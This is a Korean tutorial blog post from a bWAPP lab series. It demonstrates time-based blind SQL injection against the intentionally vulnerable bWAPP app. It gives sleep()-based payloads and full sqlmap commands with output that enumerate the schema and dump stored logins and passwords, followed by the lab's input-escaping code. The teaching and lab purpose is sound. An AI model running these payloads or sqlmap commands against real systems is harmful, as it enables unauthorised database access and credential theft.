정보보안(구버전)/ bWAPP 2019. 2. 7. 19:41
웹 해킹 bWAPP - 25. A1 - Injection - SQL Injection Blind - Time-Based
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Injection
- OWASP Top10 A1 - 악의적인 명령 삽입
- 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를
획득할 수 있는 취약점이다.
- Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션
2. 실습 이전 기본 사항
1) sleep() 함수
- 인자로 들어간 값만큼 지연을 초 단위로 발생
- Ex) ' or 1=1 and sleep(1) // AND 앞이 참이면 1초 지연 이후 출력값 반환
- Ex) ' or 1=2 and sleep(1) // AND 앞이 거짓이면 지연 없이 출력값 반환
2) length() 함수
- 지정한 문자열의 길이를 반환해주는 함수
- Ex) length(database())=5 // 데이터베이스 이름 길이가 5인지 확인
3) substring() 함수
- 지정한 문자열의 일부를 반환해주는 함수
- Ex) substring(database(),1,1)='b' // 데이터베이스 이름의 첫번째 글자가 'b'인지 확인
4) 숫자/대소문자 ASCII Code
- 참고 사이트 : https://www.ascii.cl/htmlcodes.htm
Symbol |
ACSII 10진수 |
0~9 |
48~57 |
A~Z |
65~90 |
a~z |
97~122 |
3. Injection - SQL Injection Blind - Time-Based
- 이 시나리오는 Query 결과를 참/거짓으로 출력하는 페이지를 이용하여 데이터베이스 내용을 추측하는 내용이다.
- 그러나 이 시나리오는 참/거짓을 구분할 수 없도록 특정 메세지만 출력되기 때문에 sleep() 함수를 이용해야 한다.
Ex1) Injection - SQL Injection Blind - Time-Based 이해 I
보안 레벨 선택 및 시나리오 선택
' or 1=1 인젝션 실시 -> 'The result will be send by e-mail...' 메세지만 출력 -> 참/거짓 구분 안됨
' or 1=1 and sleep(1)# 인젝션 실시 -> 1초 이후 'The result will be send by e-mail...' 메세지 출력
' or 1=2 and sleep(1)# 인젝션 실시 -> 지연 없이 'The result will be send by e-mail...' 메세지 출력
Ex2) Injection - SQL Injection Blind - Time-Based 이해 II
데이터베이스 이름 길이(5글자)를 알기 위한 SQL 인젝션 실시
데이터베이스 이름(bWAPP)을 알기 위한 SQL 인젝션 실시
(' or 1=1 and database()='bWAPP' and sleep(1) #)
bWAPP 데이터베이스 두번째 테이블 이름 길이(6글자)와 이름(heroes)을 알기 위한 SQL 인젝션 실시
(' or 1=1 and (select table_name from information_schema.tables where table_schema='bWAPP' limit 1,1)='heroes' and sleep(1) #)
heroes 테이블의 두번째 컬럼 이름 길이(5글자)와 이름(login)을 알기 위한 SQL 인젝션 실시
(' or 1=1 and (select login from heroes limit 2,1)="thor" and sleep(1) #)
heroes 테이블의 login 세번째 컬럼 이름 길이(4글자)와 이름(thor)을 알기 위한 SQL 인젝션 실시
heroes 테이블의 세번째 컬럼 이름 길이(8글자)와 이름(password)을 알기 위한 SQL 인젝션 실시
thor 계정의 패스워드 컬럼 이름 길이(6글자)와 패스워드(Asgard)를 알기 위한 SQL 인젝션 실시
(' or 1=1 and (select password from heroes where login='thor')="Asgard" and sleep(1) #)
Ex3) SQLmap을 이용한 공격 실시 I
- 인젝션 유형 : SQL Injection Blind - Time-Based
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search
-p : 공격 파라메터 지정
--threads : 공격 수행 thread 개수 지정
--level=5 --risk=3 : 최고 레벨 공격까지 수행
--batch : 질의에 대해서 기본값으로 응답
--dbs : 데이터베이스 목록 출력
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --threads=5 --level=5 --risk=3 --batch --dbs
~ 중간 생략 ~
available databases [5]:
[*] bWAPP
[*] cisco
[*] drupageddon
[*] information_schema
[*] mysql
[11:08:19] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 11:08:19
Ex4) SQLmap을 이용한 공격 실시 II
- 인젝션 유형 : SQL Injection Blind - Time-Based
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search
-D : 데이터베이스 지정
--tables : 테이블 목록 출력
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --threads=5 --level=5 --risk=3 --batch -D "bWAPP" --tables
~ 중간 생략 ~
Database: bWAPP
[5 tables]
+----------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+----------+
[11:12:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 11:12:06
Ex5) SQLmap을 이용한 공격 실시 III
- 인젝션 유형 : SQL Injection Blind - Time-Based
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search
-T : 테이블 지정
--columns : 컬럼 목록 출력
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --threads=5 --level=5 --risk=3 --batch -T "heroes" --columns
~ 중간 생략 ~
Database: bWAPP
Table: heroes
[4 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(10) |
| login | varchar(100) |
| password | varchar(100) |
| secret | varchar(100) |
+----------+--------------+
[11:17:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 11:17:29
Ex6) SQLmap을 이용한 공격 실시 IV
- 인젝션 유형 : SQL Injection Blind - Time-Based
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search
-C : 컬럼 지정
--dump : 데이터베이스 내용 덤프 실시
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_15.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --threads=5 --level=5 --risk=3 --batch -T "heroes" -C id,login,password --dump
~ 중간 생략 ~
Database: bWAPP
Table: heroes
[6 entries]
+----+-----------+----------------+
| id | login | password |
+----+-----------+----------------+
| 1 | neo | trinity |
| 2 | alice | loveZombies |
| 3 | thor | Asgard |
| 4 | wolverine | Log@N |
| 5 | johnny | m3ph1st0ph3l3s |
| 6 | seline | m00n |
+----+-----------+----------------+
[11:29:51] [INFO] table 'bWAPP.heroes' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/bWAPP/heroes.csv'
[11:29:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 11:29:51
Ex7) 'sqli_15.php' & 'functions_external.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l sqli_15.php
-rw-rw-r-- 1 root www-data 6405 2014-11-02 23:52 sqli_15.php
bee@bee-box:/var/www/bWAPP$ vi sqli_15.php
~ 중간 생략 ~
include("functions_external.php");
// Error handling
function sqli($data) switch($_COOKIE["security_level"]) case "0" :
$data = no_check($data);
case "1" :
$data = sqli_check_1($data);
case "2" :
$data = sqli_check_2($data);
default :
$data = no_check($data); } return $data; } :q! |
bee@bee-box:/var/www/bWAPP$ gedit functions_external.php
~ 중간 생략 ~
function sqli_check_1($data) {
return addslashes($data); // 작은따옴표를 문자열로 이스케이프 실시 }
function sqli_check_2($data) {
return mysql_real_escape_string($data); // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시 (NULL, \n, \r, \, ', ", ^Z) }
function sqli_check_3($link, $data) {
return mysqli_real_escape_string($link, $data);
}
function sqli_check_4($data) {
// Not bulletproof
// Replaces a single quote (') $input = str_replace("'", "''", $data);
return $input;
} |
Ex8) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
SQL 인젝션 실패
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 25. bWAPP Injection - SQL Injection Blind - Time-Based https://youtu.be/guLLSM4VEFA